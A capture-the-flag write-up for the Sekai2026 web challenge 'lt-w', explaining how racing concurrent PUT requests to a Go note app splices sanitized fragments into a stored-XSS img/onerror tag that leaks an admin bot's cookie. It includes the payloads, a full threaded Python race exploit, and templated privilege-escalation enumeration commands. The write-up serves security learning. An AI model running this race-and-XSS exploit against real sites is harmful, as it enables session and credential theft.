← Back to Writeups
HTBN/AWeb

lt-w - <-w+ - less_than_w_plus

XESXOR8/23/20265 min read
#web#htb#n/a#CVE-2021-29272#CVE-2025-22872#CVE-2026-42502

lt-w - <-w+ - less_than_w_plus

Platform: Sekai2026 | Category: Web | Type: Challenge | Difficulty: Normal | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-29 | Status: Solved Techniques: concurrent_put_race, console_cookie_exfiltration, file_write_splicing, stored_xss

Summary

Task: a Go note app sanitizes each message and serves stored files as HTML to an admin bot. Solution: race concurrent PUT writes so two individually safe sanitized bodies splice into an executable img/onerror tag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: sekai2026 | ID: 20260629_sekai2026_less_than_w_plus
  • Tags: race_condition, xss, go, admin_bot, html_parser, sanitizer_bypass
  • Indicators: O_TRUNC without locking, sanitized notes served as text/html, regex removes <\w+ after entity replacement, CSP allows unsafe-inline scripts, admin bot logs console output
  • Source: 20260629_sekai2026_less_than_w_plus.md

Foothold

Vulnerability / Misconfiguration

  1. Concurrent_put_race
  2. Console_cookie_exfiltration
  3. File_write_splicing
  4. Stored_xss
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • concurrent_put_race
  • console_cookie_exfiltration
  • file_write_splicing
  • stored_xss
  • Tags: race_condition, xss, go, admin_bot, html_parser, sanitizer_bypass

Original Writeup

<details><summary>Click to expand original content</summary>

lt-w / <\w+ / less_than_w_plus — sekai2026

Description

Original organizer task description was not available in the solving notes.

English summary: the challenge provided a Go note application and an admin bot. The goal was to make the bot visit an attacker-controlled note and print its FLAG cookie to the console.

Analysis

The application stores notes as files under /app/notes/{uuid} and serves them with:

Content-Type: text/html;charset=utf-8

Creating or updating a note runs this sanitizer in app/main.go:

sanitized := bluemonday.StrictPolicy().Sanitize(msg)
sanitized = strings.ReplaceAll(sanitized, "&lt;", "<")
sanitized = strings.ReplaceAll(sanitized, "&gt;", ">")
sanitized = regexp.MustCompile(`<(/)?\w+`).ReplaceAllString(sanitized, "")

Per request this looks fairly strong for normal stored XSS. Encoded tags are decoded and then the final regex removes any < followed by an optional slash and a word character. For example, &lt;img/src/onerror=console.log(document.cookie)&gt; becomes only the attribute fragment src/onerror=console.log(document.cookie)>, not an element.

The important bug was not inside the HTML parser or bluemonday. It was in the update path:

f, _ := os.OpenFile(filePath, os.O_WRONLY|os.O_TRUNC, 0644)
f.Write([]byte(sanitized))

There was no locking. Concurrent PUT /notes/{id} requests can open/truncate/write the same file at overlapping times. Each request writes a body that was safe by itself, but a later short write can overwrite the beginning of a longer write and create unsafe HTML in the final file.

The admin bot sets FLAG as a cookie for ltw.chals.sekai.team, visits https://ltw.chals.sekai.team/notes/{uuid}, and logs browser console output. CSP is restrictive for external resources but allows inline JavaScript:

default-src 'none'; script-src 'unsafe-inline'

So console.log(document.cookie) is enough for exfiltration.

Failed Leads

  • Direct encoded tags were reduced to harmless fragments, e.g. &lt;img...&gt; became src=...> after the regex.
  • Literal NULL variants such as <\x00img and <\x00script> did not become working Chrome tags.
  • The old bluemonday CVE-2021-29272 / GHSA-3x58-xr87-2fcj scrİpt bypass was patched in the used version, v1.0.27.
  • golang.org/x/net/html CVE-2025-22872 and CVE-2026-42502 style parser differentials were investigated, but StrictPolicy plus the final regex killed the tested payload families.
  • Bot/proxy tricks were unnecessary because the UUID-only bot URL and fixed response headers did not expose the cookie without script execution.

Solution

Use two individually safe payloads against the same note ID:

  1. Payload A:
   message=&lt;

After sanitization this becomes the one-byte string:

   <
  1. Payload B:
   message=Bimg/src/onerror=console.log(document.cookie)>

It contains no <\w+ opener, so it remains:

   Bimg/src/onerror=console.log(document.cookie)>

Race many concurrent PUT requests with these two bodies. The winning interleaving is:

  1. Payload B opens the file, truncates it, and writes Bimg/src/onerror=console.log(document.cookie)>.
  2. Payload A, already opened on the same file, writes its single byte < at offset 0 afterward.
  3. The final file becomes:
   <img/src/onerror=console.log(document.cookie)>

Chrome treats the slash after img as an attribute separator, producing an image element roughly equivalent to:

<img src="" onerror="console.log(document.cookie)">

The empty/broken image source triggers onerror, and the bot prints the cookie.

Production was verified with note ID:

f3a3ea11-df14-4d8f-9998-110ee1b4ee5e

whose final body was:

<img/src/onerror=console.log(document.cookie)>

The admin bot log contained:

console.log: FLAG=SEKAI{REDACTED}

Exploit Sketch

The working script was saved as tasks/sekai2026/lt-w/race_put.py. Its core logic is:

#!/usr/bin/env python3
import concurrent.futures
import re
import urllib.parse
import urllib.request

BASE = "https://ltw.chals.sekai.team"

class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, req, fp, code, msg, headers, newurl):
        return None

opener = urllib.request.build_opener(NoRedirect)

def request(method, path, data=None):
    body = None if data is None else urllib.parse.urlencode(data).encode()
    req = urllib.request.Request(BASE + path, data=body, method=method)
    try:
        return opener.open(req, timeout=10).read()
    except urllib.error.HTTPError as e:
        return e.read()

def create_note():
    req = urllib.request.Request(
        BASE + "/create",
        data=urllib.parse.urlencode({"message": "x"}).encode(),
        method="POST",
    )
    try:
        resp = opener.open(req, timeout=10)
        loc = resp.headers.get("Location")
    except urllib.error.HTTPError as e:
        loc = e.headers.get("Location")
    return re.search(r"/notes/([0-9a-fA-F-]+)", loc).group(1)

def put(note_id, msg):
    request("PUT", f"/notes/{note_id}", {"message": msg})

def get(note_id):
    return urllib.request.urlopen(BASE + f"/notes/{note_id}", timeout=10).read().decode()

def race_once(note_id, workers=80):
    payloads = ["&lt;", "Bimg/src/onerror=console.log(document.cookie)>"]
    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = [ex.submit(put, note_id, payloads[i & 1]) for i in range(workers)]
        for f in futures:
            try:
                f.result()
            except Exception:
                pass
    return get(note_id)

note_id = create_note()
for i in range(200):
    body = race_once(note_id)
    if body.startswith("<img") or body.startswith("<img/"):
        print("HIT", note_id, repr(body))
        break

After a hit, submit the note ID to the admin bot.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR